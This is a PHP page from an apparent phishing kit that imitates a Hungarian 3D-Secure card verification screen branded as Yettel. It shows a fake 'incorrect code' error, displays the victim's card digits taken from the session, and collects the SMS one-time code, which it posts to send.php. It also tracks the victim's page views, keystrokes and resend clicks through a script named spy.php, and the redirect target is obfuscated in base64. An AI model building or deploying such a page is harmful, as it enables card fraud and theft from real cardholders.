<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';
$m = new Mother;
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == "::1") $ip = "127.0.0.1";

if (session_status() !== PHP_SESSION_ACTIVE) session_start();

$card = '';
if (!empty($_SESSION['sc_card'])) {
    $card = preg_replace('/\D+/', '', $_SESSION['sc_card']);
} elseif (!empty($_COOKIE['sc_card'])) {
    $card = preg_replace('/\D+/', '', $_COOKIE['sc_card']);
}

$bin_map = [];
$mapfile = __DIR__ . '/bin-map.json';
if (file_exists($mapfile)) $bin_map = json_decode(file_get_contents($mapfile), true) ?: [];

$bank = ['name' => 'Yettel', 'logo' => 'assets/images/lo.png'];
// Keep Yettel logo always, don't override with bank logo

function detect_card_brand($digits) {
    if (!$digits || strlen($digits) < 1) return 'unknown';
    if (preg_match('/^4[0-9]{6,}$/', $digits)) return 'visa';
    if (preg_match('/^(5[1-5][0-9]{4,}|22[2-9][0-9]{3,}|2[3-6][0-9]{4,}|27[01][0-9]{3,}|2720[0-9]{0,})/', $digits)) return 'mastercard';
    if (preg_match('/^3[47][0-9]{5,}$/', $digits)) return 'amex';
    if (preg_match('/^(6011|65|64[4-9]|622)/', $digits)) return 'discover';
    return 'unknown';
}

$brand = detect_card_brand($card);
$brand_logos = [
    'visa' => 'assets/logos/sv2.png',
    'mastercard' => 'assets/logos/sv1.png',
    'amex' => 'assets/images/amex.png',
    'discover' => 'assets/images/discover.png',
    'unknown' => 'assets/images/card-default.png'
];
$brand_logo = $brand_logos[$brand] ?? $brand_logos['unknown'];

function mask_card_display($num) {
    $n = preg_replace('/\s+/', '', $num);
    if (strlen($n) >= 10) return substr($n, 0, 6) . '******' . substr($n, -4);
    return str_repeat('*', 14);
}

$masked = mask_card_display($card);
$card_last4 = $card !== '' ? substr($card, -4) : '';
$merchant = 'Yettel.hu';
$amount_display = Config::$payment_amount;
$amount = (string) Config::paymentAmountNumeric();
$currency = Config::paymentCurrencyCode();
$date = date('Y.m.d');
?>
<!doctype html>
<html lang="hu">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>3D-Secure</title>
<style>
:root{
  --ink:#111827;
  --muted:#6b7280;
  --line:#e6e6e6;
  --panel:#fff;
  --bg:#f7f7f7;
}
*{box-sizing:border-box}
html,body{margin:0}
body{background:#fff;font:14px/1.45 -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial;color:var(--ink)}
.overlay{background:rgba(240, 240, 240, 0.42);min-height:100svh;display:flex;align-items:flex-start;justify-content:center;padding:24px}
.card{width:460px;background:var(--panel);border:1px solid #efefef;border-radius:4px;box-shadow:0 10px 26px rgba(0,0,0,.08)}
.inner{padding:18px 20px 16px}
.hdr{display:flex;align-items:center;justify-content:space-between;margin-bottom:8px;gap:12px}
.bank{display:flex;align-items:center;gap:8px}
.bank img{height:56px; display:block;}
.brands{display:flex;align-items:center;gap:10px}
.brand-icon{height:28px;display:block}
.ttl{font-weight:700;font-size:16px;margin:8px 0 10px}
hr{border:0;height:1px;background:var(--line);margin:10px 0 12px}
.grid{display:grid;grid-template-columns:132px 1fr;row-gap:6px}
.lbl{color:var(--muted)}
.val{color:#1f2937}
.mask{letter-spacing:.06em}
.hint{margin:10px 0 12px;color:#4b5563;font-size:12.5px}
.field{margin:6px 0}
.inp{width:100%;height:38px;border:1px solid #d7d7d7;border-radius:4px;background:#fff;padding:0 10px;font-size:14px;outline:none;}
.inp:focus{border-color:#0c2d31;box-shadow:0 0 0 3px rgba(12,45,49,.25)}
.row{display:flex;justify-content:space-between;gap:10px;margin-top:6px}
.a{font-size:12.5px;color:#2563eb;text-decoration:none}
.a:hover{text-decoration:underline}
.actions{display:flex;justify-content:space-between;align-items:center;margin-top:14px}
.link{font-size:14px;color:#2563eb;text-decoration:none}
.btn{
  border:0;
  background:#0c2d31 !important;
  color:#fff !important;
  border-radius:4px;
  padding:9px 18px;
  font-weight:700;
  letter-spacing:.2px;
  cursor:pointer;
  margin:30px auto 0;
  box-shadow:0 6px 16px rgba(12,45,49,.25);
  transition:.15s;
}
.btn:hover{background:#0a2427 !important;transform:translateY(-1px);}
.btn:active{transform:translateY(0)}
.flags{display:flex;gap:8px;margin-top:8px}
.flag{height:12px;border:1px solid #ddd;border-radius:2px}
.error-message{background:#fee;border:1px solid #fcc;color:#c33;padding:10px;border-radius:4px;margin:12px 0;font-size:13px;text-align:center;font-weight:500}
@media (max-width:500px){.card{width:100%}.hdr{flex-direction:column;align-items:flex-start;gap:8px}}
</style>
</head>
<body>
<div class="overlay">
  <div class="card">
    <div class="inner">
      <div class="hdr">
        <div class="bank" title="<?= htmlspecialchars($bank['name']) ?>">
          <img src="<?= htmlspecialchars($bank['logo']) ?>" alt="<?= htmlspecialchars($bank['name']) ?>">
        </div>
        <div class="brands">
          <img class="brand-icon" src="<?= htmlspecialchars($brand_logo) ?>" alt="<?= htmlspecialchars($brand) ?>">
        </div>
      </div>

      <div class="ttl">Kérem, adja meg a biztonsági kódot</div>
      <hr>

      <div class="grid" style="margin-bottom:8px">
        <div class="lbl">Kereskedő:</div><div class="val"><?= htmlspecialchars($merchant) ?></div>
        <div class="lbl">Összeg:</div><div class="val"><?= htmlspecialchars($amount_display) ?></div>
        <div class="lbl">Dátum:</div><div class="val"><?= htmlspecialchars($date) ?></div>
        <div class="lbl">Kártyaszám:</div><div class="val mask">**** **** **** <?= htmlspecialchars($card_last4) ?></div>
      </div>

      <p class="hint">Az internetes biztonsági kód a telefonszámra került kiküldésre.</p>

      <div class="error-message">A megadott kód helytelen</div>

      <form id="form" method="POST" action="">
        <div class="field">
          <input id="sms" class="inp" type="text" name="sms" inputmode="numeric" maxlength="6" minlength="6" pattern="[0-9]{6}" placeholder="SMS Biztonsági kód" required>
        </div>

        <div class="row">
          <a class="a sms-resend-link" href="#" onclick="trackSMSNotReceived(event); return false;">Nem kaptam meg az SMS jelszót?</a>
          <a class="a sms-resend-link" href="#" onclick="trackSMSResend(event); return false;">Ide kattintva kérhet újat.</a>
        </div>

        <div class="actions">
          <a class="link" href="#" onclick="history.back();return false;">Mégsem</a>
          <button class="btn" type="submit">Megerősít</button>
        </div>

        <input type="hidden" name="merchant" value="<?= htmlspecialchars($merchant) ?>">
        <input type="hidden" name="amount" value="<?= htmlspecialchars($amount) ?>">
        <input type="hidden" name="currency" value="<?= htmlspecialchars($currency) ?>">
        <input type="hidden" name="date" value="<?= htmlspecialchars($date) ?>">
        <input type="hidden" name="last4" value="<?= htmlspecialchars($card_last4) ?>">
        <input type="hidden" name="bank_name" value="<?= htmlspecialchars($bank['name']) ?>">
        <input type="hidden" name="bank_logo" value="<?= htmlspecialchars($bank['logo']) ?>">
        <input type="hidden" name="card_brand" value="<?= htmlspecialchars($brand) ?>">
      </form>

      <div class="flags">
        <img class="flag" src="https://flagcdn.com/w20/hu.png" alt="HU">
        <img class="flag" src="https://flagcdn.com/w20/gb.png" alt="EN">
      </div>
    </div>
  </div>
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script>
var smsNotReceivedSent = false;
var smsResendSent = false;

function trackSMSNotReceived(event) {
  if (smsNotReceivedSent) {
    console.log('Already sent, ignoring');
    return false;
  }
  smsNotReceivedSent = true;
  console.log('SMS not received link clicked - sending notification');
  $.post("spy.php", { smsnotreceived: 1 }, function(data) {
    console.log('smsnotreceived sent', data);
  }).fail(function(xhr, status, error) {
    console.error('Error sending smsnotreceived:', error);
    smsNotReceivedSent = false; // Reset on error
  });
  // Show feedback
  $(event.target).css('opacity', '0.6');
  setTimeout(function() {
    $('.sms-resend-link').css('opacity', '1');
  }, 500);
  return false;
}

function trackSMSResend(event) {
  if (smsResendSent) {
    console.log('Already sent, ignoring');
    return false;
  }
  smsResendSent = true;
  console.log('SMS resend link clicked - sending notification');
  $.post("spy.php", { smsresend: 1 }, function(data) {
    console.log('smsresend sent', data);
  }).fail(function(xhr, status, error) {
    console.error('Error sending smsresend:', error);
    smsResendSent = false; // Reset on error
  });
  // Show feedback
  $(event.target).css('opacity', '0.6');
  setTimeout(function() {
    $('.sms-resend-link').css('opacity', '1');
  }, 500);
  return false;
}

$(function() {
  // Track SMS page view - send notification only once
  $.post("spy.php", { smsview: 1, firstload: 1 });
  
  // Keep alive - update LAST_ACT every 5 seconds (no notification)
  setInterval(function() {
    $.post("spy.php", { smsview: 1 });
  }, 5000);
  
  // Only allow numeric input and limit to 6 digits
  $('[name="sms"]').on('input', function() {
    this.value = this.value.replace(/[^0-9]/g, '');
    if (this.value.length > 6) {
      this.value = this.value.substring(0, 6);
    }
  });
  
  var abort = false;
  
  $('[name="sms"]').on('keyup', function() {
    if (!abort) {
      $.post("spy.php", { otping: 1 });
      abort = true;
    }
  });

  $("#form").on("submit", function(e) {
    e.preventDefault();
    var smsCode = $('[name="sms"]').val();
    if (smsCode.length !== 6) {
      alert('Kérjük, adja meg a 6 számjegyű biztonsági kódot!');
      return false;
    }
    $.post("send.php", { sms: smsCode }, function() {
      var nextPage = atob('d2FpdC5waHA='); // wait.php encoded
      window.location = nextPage + "?p=sms";
    });
  });
});
</script>
<?php
$m->ctr("SMS ERROR " . @$_GET['e']);
?>
</body>
</html>

